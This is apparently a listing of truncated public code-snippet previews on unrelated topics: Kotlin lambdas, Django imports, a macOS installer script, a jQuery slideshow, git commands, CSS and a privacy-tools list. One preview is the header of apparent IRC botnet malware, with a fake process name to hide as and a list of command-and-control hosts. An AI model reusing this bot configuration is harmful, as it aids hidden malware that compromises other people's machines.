androidfred

Lambdas, Functions, Functors and Monads

Intro

If you've been exposed to lambdas (whether in Java or Kotlin), you already know at least the basics of what lambdas are, the syntax for using them, that they're more succinct than instantiating anonymous classes etc etc.

Rather than talking about that, I figured we would talk about functions and lambdas on a higher level.

I think most of us are familiar with map and, having used it quite a bit, have an intuitive understanding of what any given call to map will do.

Does anyone know a bit more about map, what it is and where it came from?

fdemmer

# -*- coding: utf-8 -*-
import logging
import os
from tempfile import gettempdir

import boto3
import botocore
from django.db.backends.sqlite3.base import DatabaseWrapper

log = logging.getLogger(__name__)

julianxhokaxhiu

#!/bin/bash
#
# Credits to fuckbecauseican5 from https://www.reddit.com/r/hackintosh/comments/4s561a/macos_sierra_16a238m_install_success_and_guide/
# Adapted to work with the official image available into Mac App Store
#
# Enjoy!

hdiutil attach /Applications/Install\ macOS\ Sierra.app/Contents/SharedSupport/InstallESD.dmg -noverify -nobrowse -mountpoint /Volumes/install_app
hdiutil create -o /tmp/Sierra.cdr -size 7316m -layout SPUD -fs HFS+J
hdiutil attach /tmp/Sierra.cdr.dmg -noverify -nobrowse -mountpoint /Volumes/install_build

Ema4rl

/*!
 * By Eharry.me (https://gist.github.com/Ema4rl/b8ef90be99205ddada5ef2cd6e632ebe)
 */
 ! function ($) {
    "use strict";
    var slide = $("[data-slides]"),
        count = 0,
        slides = slide.data("slides"),
        len = slides.length,
        n = function () {

ummahusla

# overwrite master with contents of feature branch (feature > master)
git checkout feature      # source name
git merge -s ours master  # target name
git checkout master       # target name
git merge feature         # source name

kurobeats

#define STARTUP	1
#undef IDENT			// Only enable this if you absolutely have to
#define FAKENAME "apt-cache"	// What you want this to hide as
#define CHAN "#mint"	// Channel to join
#define KEY "bleh"		// The key of the channel
int numservers=5;		// Must change this to equal number of servers down there
char *servers[] = {
	"updates.absentvodka.com",
        "updates.mintylinux.com",
	"eggstrawdinarry.mylittlerepo.com",

mhulse

[data-slides] {
	background-image: url(../../uploads/banner1.jpg); /* Default image. */
	background-repeat: no-repeat;
	background-position: center top;
	background-size: cover;
	transition: background-image 1s linear;
}

/* Use additional CSS to control the `height` of `[data-slides]`, like so: */

postmodern

Do your part to resist Government surveillance and take back your privacy:

• Browser Privacy: HTTPS Everywhere, AdBlock Plus + EasyList, Disconnect, NoScript (FireFox), NotScript (Chrome)
• VPNs: Private Internet Access (US), BTGuard (Canada), ItsHidden (Africa), Ipredator (Sweden), Faceless.me (Cyprus / Netherlands)
• Internet Anonymization: Tor, Tor Browser Bundle, I2P
• Disk Encryption: TrueCrypt (Windows / OSX / Linux), File Vault

davidnunez

pm list packages -f